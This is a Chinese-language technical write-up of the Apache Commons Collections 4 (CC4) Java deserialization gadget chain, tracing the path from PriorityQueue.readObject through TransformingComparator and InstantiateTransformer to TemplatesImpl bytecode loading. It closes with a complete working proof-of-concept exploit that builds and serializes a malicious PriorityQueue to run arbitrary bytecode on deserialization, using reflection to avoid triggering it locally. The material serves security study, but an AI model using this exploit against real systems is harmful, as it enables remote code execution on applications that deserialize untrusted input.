CommonsCollections 4.0
JDK 版本暂无限制
需要 javassist(伪条件)

调用链:

PriorityQueue.readObject()
  PriorityQueue.heapify()
  PriorityQueue.siftDown()
  PriorityQueue.siftDownUsingComparator()
  comparator.compare() === TransformingComparator.compare()
    ChainedTransformer.transform()
      ConstantTransformer.transform()
      InstantiateTransformer.transform()
      newInstance()
        TrAXFilter#TrAXFilter()
          TemplatesImpl.newTransformer()
            TemplatesImpl.getTransletInstance() 
              TemplatesImpl.defineTransletClasses() 

CC4 是 在CC2 的基础上,使用InstantiateTransformer类替代InvokerTransformer类来实例化 TrAXFilter,通过TrAXFilter#TrAXFilter方法调用templates#newTransformer()(templates为构造好的TemplatesImpl)进行加载任意字节码(任意代码执行)。
在调用链中ChainedTransformer#transform()以下部分的调用链和之前的CC3相同,因此我们从ChainedTransformer#transform()入手。

PriorityQueue链

首先来到ChainedTransformer#transform(),我们需要找到一个新的可以反序列化的类,且该类中调用了transform()方法。此处使用的是TransformingComparator类,它的compare()方法中调用了transform()方法。

TransformingComparator

TransformingComparator#compare()

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

此处transformer可控,初始化时传参(transformer为ChainedTransformer)

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

然后查找何处调用了compare()方法,最好是在某处重写了readObject()方法的类中。这里为PriorityQueue类。

PriorityQueue

PriorityQueue#siftUpUsingComparator()
PriorityQueue#siftDownUsingComparator()方法中调用了compare()方法

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

此处的comparator为初始化时传入的参数,是可控的。
PriorityQueue#PriorityQueue()

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

PriorityQueue#siftDown()
PriorityQueue#siftDown()方法中调用了PriorityQueue#PriorityQueue()

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

PriorityQueue#heapify()
来到PriorityQueue#heapify()在该方法中调用了PriorityQueue#siftDown()方法。而该方法又在PriorityQueue#readObject()被调用,然后反序列化我们构造好的PriorityQueue类。

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

此处对size进行了右移一位的操作然后再减一,只有当i大于0时才进入for循环内。size为PriorityQueue的成员可反射修改,或使用PriorityQueue#add()但是add()方法会在序列化时就本地执行一次字节码。因为add()方法最后也会到TransformingComparator#compare()
和之前其他链的处理相同,在add之前改掉某类的值(此处为ChainedTransformer)然后再序列化之前通过反射将值改回原值。
PriorityQueue#readObject()

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

poc

package Cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class Cc4 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "notnull");
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };

        Transformer[] fucktransformers = {new ConstantTransformer(1)};

        ChainedTransformer chainedTransformer = new ChainedTransformer(fucktransformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

//        通过add方法来修改size
//        priorityQueue.add(1);
//        priorityQueue.add(1);
//      通过反射来修改size
        Field iTransformers1 = priorityQueue.getClass().getDeclaredField("size");
        iTransformers1.setAccessible(true);
        iTransformers1.set(priorityQueue,4);

        Field iTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
    public static void setFieldValue(Object obj,String name,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }
}